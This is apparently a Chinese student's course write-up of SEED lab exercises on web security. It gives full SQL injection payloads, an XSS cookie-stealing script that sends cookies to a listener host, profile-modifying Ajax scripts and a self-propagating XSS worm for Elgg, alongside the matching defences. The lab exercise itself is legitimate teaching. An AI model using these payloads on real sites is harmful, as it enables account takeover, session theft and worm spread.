20199128 2019-2020-2 《网络攻防实践》第十一周作业
20199128 2019-2020-2 《网络攻防实践》第十一周作业
这个作业属于哪个课程 | 《网络攻防实践》 |
这个作业的要求在哪里 | 《网络攻防实践》第十一周作业 |
这个作业在哪个具体方面帮助我实现目标 | 学习Web应用程序安全攻防知识 |
作业正文.... | 见正文 |
其他参考文献 | 见参考文献 |
1.实践内容
1.1Web应用程序体系结构及其安全威胁
- Web应用程序:一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言编写(JavaScript、HTML等),或能够在浏览器控制的环境中运行,依赖浏览器对应用程序渲染执行。
- Web应用的体系结构:浏览器负责数据显示与渲染;服务器负责业务计算处理;二者通过HTTP/HTTPS进行通信。
- Web应用安全威胁:
- 针对浏览器和终端用户的Web浏览器安全威胁
- 针对传输网络的网络协议安全威胁
- 系统层安全威胁
- web服务器软件安全威胁
- Web应用程序安全威胁
- Web数据安全威胁
1.2Web应用安全攻防技术概述
1.2.1信息收集
- 手工审查:手工浏览过程中,收集Web应用程序的静态和动态生成的页面、目录结构、辅助性文件、输入表单、查询参数字符串等信息。
- 自动下载与镜像Web站点页面:Linux系统的lynx、wget和Windows系统上的TelePort Pro、Offline Explorer等镜像软件
- 使用Google Hacking技术审查与探测Web应用程序:指使用Google搜索引擎或其他的Google应用,在Web站点中的配置、计算机代码包含数据中,寻找安全漏洞与敏感信息的计算机黑客技术。
- 获取攻击入口点
- 获取攻击所需信息
- 探测安全漏洞
- 获取敏感信息与数据
- Web应用程序安全评估与漏洞检测:对目标应用程序各功能进行研究评估,理解其体系结构与设计思路,找出薄弱环节,总结对该应用的详细攻击步骤。常需要使用TamperData、Firebug等浏览器插件、Fiddler、WebScarab等免费工具集及IBM Rational AppScan、WebRaver等商业Web应用安全评估系统和漏洞扫描器。
1.2.2攻击Web服务器软件
- 数据驱动的远程代码执行安全漏洞:Web服务器软件作为网络服务守护进程,也会出现缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。
- 服务器功能扩展模块漏洞:IIS软件、WebDAV模块、Apache扩展组件模块都存在漏洞。
- 样本文件安全漏洞:Web应用服务器包含的样板脚本和代码示例存在漏洞。
- 源代码泄露:能够查看到没有防护措施Web服务器上的应用程序源码。
- 资源解析攻击:把同一资源的不同表示形式解析为它的标准化名称 的过程。
1.2.3攻击Web应用程序
- 针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段
- 授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段
- 客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段
- 命令执行攻击:在web站点执行远程命令的攻击手段
- 信息暴露:获取web站点具体系统信息的攻击手段
- 逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段
1.2.4攻击Web数据内容
- 安全敏感数据泄露
- web服务器存在目录遍历漏洞或不安全的目录文件枚举配置
- 利用web服务器的上传目录临时中转文件
- 在web站点公开的文档资料中包含个人隐私、企业秘密
- 网站篡改:利用特定攻击手段入侵网站后,将网站页面内容进行替换,表达入侵成功或某种观点诉求
- 不良信息内容上传:网站被攻陷后可能成为不良信息的存储和中转仓库
1.2.5web应用安全防范措施
- Web站点网络传输安全设防措施
- 尽量使用HTTPS来保护传输的内容
- 通过加密的链接通道来管理Web站点
- 对关键的Web服务器设置静态的MAC-ip映射,在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制,在网关位置部署防火墙与入侵检测系统对Web服务器实施保护与安全监测,采用荣誉等机制来应对拒绝服务攻击
- Web站点操作系统及服务安全设防措施
- 对操作系统和服务器软件即使进行补丁更新
- 对web站点服务器的操作系统以及开放的服务进行安全扫描
- 关闭不使用的服务,避免使用明文传输的网络服务;设置强口令字,以及安全的服务配置;部署防火墙,设置对控制及内容上传通道的限制访问;配置数据备份服务,必要时设置冗余和双机热备机制
- Web应用程序安全设防措施
- 采用动态内容、支持用户输入的Web应用程序较静态HTML具有更高的安全风险
- 对于必须提供用户交互、采用动态页面的Web站点,尽量使用具有良好安全声誉及稳定技术支持力量的Web应用软件包
- 只在必要时候自主或外包开发Web应用程序,重视安全编程、持续性的安全测试和维护
- 使用Web服务器软件提供的日志功能,对Web应用程序的所有访问请求进行日志记录与安全审计
- Web站点数据安全设防措施
- 提高网站内容维护人员的安全意识
- 日常检测和防护
1.3SQL注入
- 代码注入根据攻击目标可分为
- 恶意读取、修改与操纵数据库的SQL注入攻击
- 在Web服务器端安装、执行Webshell等恶意脚本的PHP注入或ASP注入
- 在Web服务器端恶意执行操作系统命令的Shell注入攻击
- 其他(LDAP注入、邮件命令注入、空字节注入、SSI注入......)
- SQL注入是利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入技术。
- SQL注入漏洞原理:用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符(';%等)或者没有进行严格的类型判断,从而使用户可以输入并执行一些非预期的SQL指令代码。
- SQL注入攻击原理:向Web应用程序提供的用户输入接口输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作行为。
- SQL注入攻击步骤
- 发现注入点
- 判断后台数据库类型:利用数据库服务器的系统变量或系统表进行判断。
- 后台数据库中管理员用户口令字猜解:猜解表明、字段名、用户名和口令。
- 上传ASP后门,得到默认账户权限
- 本地权限提升
- 利用数据库扩展存储过程执行Shell命令
- SQL注入工具:Wposion、wieliekoek.pl、SPIKE Proxy等。
- 防范措施:
- 使用类型安全的参数编码机制
- 凡是来自外部的用户输入,必须进行完备检查
- 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
- 加强SQL数据库服务器的配置与连接
1.4XSS跨站脚本攻击
- 原理:利用Web应用程序中的安全漏洞,在服务器端网页插入恶意客户端脚本代码,在Web服务器上产生出一些恶意攻击页面。
- 类型:持久性XSS攻击、非持久性XSS攻击、基于DOM的XSS
- 非持久性XSS攻击步骤
- 攻击者构造一个包含恶意脚本的bank.com登录请求连接,通过email等方式将该攻击发送给其他用户
- 用户点击登录连接后会将恶意连接中包含的恶意脚本当做用户名参数提交给bank.com登陆处理页面
- 网站将会在反馈的欢迎页面中包含恶意客户端脚本
- 攻击者的恶意客户端在受害者浏览器中执行,会驱动浏览器发送会话令牌
- 攻击者获得用户会话令牌后,可以劫持用户会话,伪造用户登录进一步实施攻击
- 防范措施
- 服务器端防范措施
- 输入验证
- 输出净化
- 消除危险的输入点
- 客户端防范措施
- 提高浏览器访问非受信网站时的安全等级
- 关闭Cookie功能或设置Cookie只读
- 采用非主流安全浏览器
- 服务器端防范措施
2.实践过程
任务一 SEED SQL注入实验
1.首先键入sudo service apache2 start
启动apache
2.然后使用mysql -uroot -p
登录数据库,密码是seedubuntu,查看一下表中数据,为实验结果做个佐证
对SELECT语句的攻击
1.在fireFox收藏中打开SQL Injection site书签(www.seedlabsqlinjection.com)
2.F12,USERNAME和输入些东西,登录,在Network窗口看到输入的用户名和密码发送给unsafe_home.php
3.打开var/www/SQLInjection下的unsafe_home.php文件,看看其对数据判定处理的具体描述
数据库表中存储的Password是输入密码通过sha1之后的哈希值
4.USERNAME输入admin'#
而PASSWORD输入任意即可进入admin的登陆主页,因为#注释掉了SQL查询语句中的and Password='$hashed_pwd'
5.命令行键入curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%23'
,其中%27和%23即是'和#在url中的转义编码
6.在USERNAME中输入admin';update cerdential set address='NewYork' where name='Alice' #
,试图修改信息,但是没有成功,这是MySql的防御措施,阻止了调用多条语句。
对UPDATE的攻击
1.以类似方式登录Alice的主页,在Edit Profile修改信息。输入
',Password='46ab578353b0478abc71fa54796a76c10bbe41a8' where name='Ted'#
save后,退回登陆界面输入ted和ted登录,46ab578353b0478abc71fa54796a76c10bbe41a8是ted的sha1加密后的哈希值。
对抗SQL注入
SQL注入漏洞的根本原因是SQL语句送往数据库执行时无法分清数据和代码。
1.在var/www/SQLInjection下除了看到之前实验中的unsafe_home.php和unsafe_edit_backend.php,还能看到safe_home.php和safe_edit_backend.php。猜测是seedlab提供的使用了对抗sql注入机制的文件。
diff -y -W 100 unsafe_home.php safe_home.php
(显示不全),比对一下,发现后者使用了预编译。
2.unsafe_edit_backend.php和safe_edit_backend.php
3.验证一下效果,浏览器访问
www.seedlabsqlinjection.com/safe_home.php?username=admin'%23&Password=
发现无法进入admin的主页了。
同样验证一下Edit Profile的变化,浏览器访问
www.seedlabsqlinjection.com/safe_edit_backend.php?NickName='%2Csalary%3D100%23
发现Admin的工资并没有改为100,而Nickname变为了',salary=100#
任务二 SEED XSS 攻击实验
用户部分信息
用户名 | 密码 |
---|---|
admin | seedelgg |
alice | seedalice |
boby | seedboby |
charlie | seedcharlie |
samy | seedsamy |
弹窗显示信息
1.在fireFox收藏中打开书签XSS Lab Site(www.xsslabelgg.com)
2.用Alice的用户登录,用户名alice,密码seedalice
3.在Edit profile编辑个人信息的页面中的Brief description项输入<script> alert('xss');</script>
,save后可以看到一个提示信息为XSS的弹窗
4.类似地,当Brief description项改为<script> alert(document.cookie);</script>
,save后可以看到一个包含自己cookie信息的弹窗
窃取受害者的cookies
1.在命令行输入nc -l 7777 -v
监听7777端口,然后将Brief description项改为
<script>document.write('<img src=http://192.168.200.4:7777?c='+escape(document.cookie) + ' >');</script>
save保存后看到命令行7777端口收到了cookie信息
成为受害者的朋友
1.到Boby的主页www.xsslabelgg.com/profile/boby,添加Boby为好友,在Web控制台Network窗口可以看到用POST方法发送的HTTP请求,参数有三,分别是__elgg_token,__elgg_ts和friend
2.构造JS脚本
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
3.将上述脚本填入Alice个人信息的About me中,推出Alice账户,登录Boby账户,访问Alice主页,然后返回自己的主页,发现已经添加了Alice为好友。
注意:About me中的代码要用edit HTML模式保存
修改别人的信息
1.同样先看一下修改个人信息都发送了什么数据
2.构造js脚本
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
3.将js脚本填入edit HTML模式下Alice的About me中保存。然后登陆Boby账户,访问Alice主页然后回到Boby主页,发现个人信息已改变。
编写XSS蠕虫
1.构建代码
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
2.将这段蠕虫代码放到Alice的About me中,然后登录Boby的用户访问Alice的主页,再登录Charlie的用户访问Boby的主页,可以看到Charlie也被感染了。
对抗XSS攻击
使用elgg提供的插件HTMLawed,管理员登陆后Account->Administration->plugins,将HTMLawed激活,再次访问Alice主页,发现About me部分的蠕虫已失去效果,代码作为数据被展示。
除此之外还可以使用htmlspecialchars函数转义HTML中的特殊字符。
3.学习中遇到的问题及解决
- 问题1:SQL查询语句注入部分修改别人信息失败
- 问题1解决方案: pdf上有解释,先前看的不仔细
- 问题2:XSS攻击部分代码
- 问题2解决方案:参考博客
4.实践总结
实践小巧但还是很有现实意义的。